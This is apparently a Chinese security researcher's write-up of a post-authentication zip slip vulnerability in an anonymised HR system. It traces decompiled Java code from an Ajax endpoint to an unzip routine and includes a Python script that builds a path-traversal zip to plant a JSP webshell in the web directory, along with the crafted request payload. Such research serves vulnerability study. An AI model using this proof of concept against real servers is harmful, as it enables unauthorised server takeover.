0x00 前言
在进行人力系统审计时,我偶然发现了一个上传漏洞,虽然表面上看似无关紧要,但出于学习和探索的心态,我决定深入分析这个上传点,看看是否能通过扩大漏洞的利用范围实现更加严重的安全问题。通过一番努力,我终于突破了文件后缀限制,成功实现了任意文件上传,最终甚至获得了服务器的控制权限。
0x01 寻找解压点
在之前的漏洞分析中,我们发现系统允许上传ZIP文件,但对文件类型进行了白名单过滤。这个限制看似严密,但若能够找到可控的解压点,理论上便可以利用zip slip漏洞执行恶意代码,从而实现Getshell。
接着,我检查了web.xml文件,并找到了另一个涉及文件上传的Servlet。深入分析后,发现在uploadMediaFile方法中存在对压缩包进行解压的操作。相关代码片段如下:
try {
var16 = ",jsp,jspx,bat,exe,jsf,jspf,server,setup,sql,sqlpage,tag,tagf,tagx,class,java,cmd,shs,msi,asp,aspx,net,";
var3 = new FileInputStream(new File(var7 + var6 + var1 + var2));
var15 = new ZipInputStream((InputStream)var3);
ZipEntry var17 = null;
while((var17 = var15.getNextEntry()) != null) {
if (!var17.isDirectory()) {
var18 = var17.getName();
var19 = var18.substring(var18.indexOf("."));
if (var16.indexOf("," + var19.toLowerCase() + ",") > -1 || var16.indexOf("," + var19.toLowerCase().substring(1) + ",") > -1) {
var14.append("{文件名:\"" + var1 + "\",");
var14.append("类型:\"" + var2 + "\",");
var14.append("失败原因:此压缩文件中包含不允许上传的文件类型!}");
break;
}
if (var18.toLowerCase().indexOf("imsmanifest.xml") != -1) {
var9 = true;
SAXBuilder var20 = new SAXBuilder();
Document var21 = var20.build(var15);
var9 = var9 && this.isHashNode(var21);
break;
}
var15.closeEntry();
}
}
} catch (IOException var44) {
var44.printStackTrace();
throw new Exception("zip文件错误");
} finally {
PubFunc.closeIoResource(var15);
if (var3 != null) {
((InputStream)var3).close();
}
}
从代码中可以看出,系统对上传文件的扩展名进行了检查,具体通过getName方法获取压缩包中的文件名,然后根据文件的后缀判断是否属于黑名单中的类型。
此处看来是行不通了,我们全局搜索如ZipInputStream或ZipEntry,发现有好多地方有调用
这无异于增加了发现难度,不过根据上面servlet发现其实该ZipEntry类其实是该系统自己封装实现的
然后我们用老朋友jar-analyzer工具帮我们搜索com.xxx.xxx.zip.ZipEntry的getName方法调用
除了上述servlet以外还有两处类名基本一样的savexxxxTrans中unZip()方法有使用
可以看的是将压缩包的文件解压到var2变量控制的目录中,如果我们知道var2的具体位置就可以构造zip slip的恶意压缩包,将webshell解压到web目录下,向上看该方法的调用
目录是由var1也就是压缩包路径和var2确定,相当于在存压缩包的路径创建var2目录解压目录到其中,根据之前上传接口会返回文件全路径,如果var1参数完全可控可以构造恶意压缩包:
tomcat/temp/xxxx.zip(ps:1.txt) -解压-> tomcat/temp/$(var2)/1.txt -zipslip-> tomcat/temp/$(var2)/../../webapps/1.txt
那么var1真可控吗
往上到其调用:
public void execute() throws GeneralException {
String var1 = "yes";
try {
...
String var3 = (String)this.getFormHM().get("r5100");
...
String var9 = (String)this.getFormHM().get("newPath");
...
if (!var3.equals("")) {
var2.setString("r5100", var3);
var12 = this.isZip(var9, var3);
可以看到路径是由是newPath控制,且存在this.getFormHM()的hashmap中。
而根据以往搜索经验却找不到该execute()方法的调用,难道是只定义而没调用嘛,那岂不是寄了!
0x02 寻找触发点
然而经过我不断的根据和搜查。。。在某配置文件找的了该类的全限名
感觉像是根据funcid创建mainClass的实例进行执行,一般配置文件都有加载到对象中的过程,于是寻找读取配置文件初始化对象的类和方法。
在WFMapping#init中加载配置文件初始化到变量E中,
在MsgRouter#execute()方法中会调用WFMapping#init(),同时调用businessProcess.synJavaBeanExecute()来反射调用对应mainclass中的execute方法,相关代码如下
而MsgRouter#execute()方法被FrameCmd#execute()所调用
最终在AjaxController#A()方法中调用了FrameCmd#execute()
而其中用于赋值给FromHM的Var2变量是通过请求参数来控制的
那么AjaxController具体如何触发到A方法,我们来看看
首先根据__type的值当不是bymobile,byWeiXin和byserviceclient会进行session有效性检查,未授权会提示请登录。
后续会根据__type调用到A方法进行hashmap的初始化然后调用execute。
可以看到是获取请求中__XML变量的值,通过C(String var1)方法将Json字符串转为RequestCommand的hashmap存入,同时在A(HttpServletRequest var1, ResponseCommand var2)方法中将请求中其他键值对存入hashmap,之后调用前面AjaxController#A()方法,将两个的hashmap合并,一并赋值给TransInfoView.setFormHM中。
回顾整个过程
AjaxControllerhttp接口通过请求参数构造hashmap,传给FrameCmdFrameCmd调用MsgRouter,后面MsgRouter根据hashmap中functionId值找到具体类反射调用其execute方法,同时将hashmap赋值给FromHM- 反射调用
savexxTrans类的execute方法,构造r5100和newpath参数,使其进入isZip方法,最终进入unZip解压newpath路径代表的zip,实现zip slip解压webshell到web目录
因无需权限的三种__type由于环境问题无法调试,故进行认证时的环境变量logonclass变量未知,登录绕过无法分析,所以只能是个后台漏洞,感兴趣的师傅可以自己再研究研究
0x03 漏洞复现
首先构造恶意压缩包
import zipfile
if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("poc1.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("poc1.zip")
zipFile.write("./1.jsp", "../../webapps/xxx/2.jsp", zipfile.ZIP_DEFLATED)
zipFile.close()
except IOError as e:
raise e
上传文件并获取文件路径
然后构造savexxxTrans类所需要的hashmap
__xml={"functionId":"xxxxx0098","r5100":"123","newPath":"pymPAATTP2HJBPAATTPTSp3D3B4rfY9KhAbdPAATTP2HJBPAATTPG5D88fn0v7FA6ABeChYeJjq5fcLohhB4gaPAATTP2HJFPAATTPMIiqi5FFXEQqKHZPAATTP2HJFPAATTPrZR64L1hzvI0QApCj0mzlpFOFuzGQIlBSYCwL5nI36C66MJjBwHiBy1Kyx3cPAATTP2HJBPAATTPkHzFwJhiAe0xXuCscfPAATTP2HJBPAATTPPAATTP2HJFPAATTPhUSy6Ih2mpMTae9Z2fOVVPAATTP2HJBPAATTPXPmDGAPAATTP3HJDPAATTPPAATTP3HJDPAATTP"}
这里的newPath因为在其execute中需要进行了加密,解密结果与上传接口返回的fullpath解密结果一致。
然后再对__xml的值进行aes加密(主要是filter中当type为extTrans会进行AES解密)
登录后发送数据包
根目录成功访问jsp文件





评论 (0)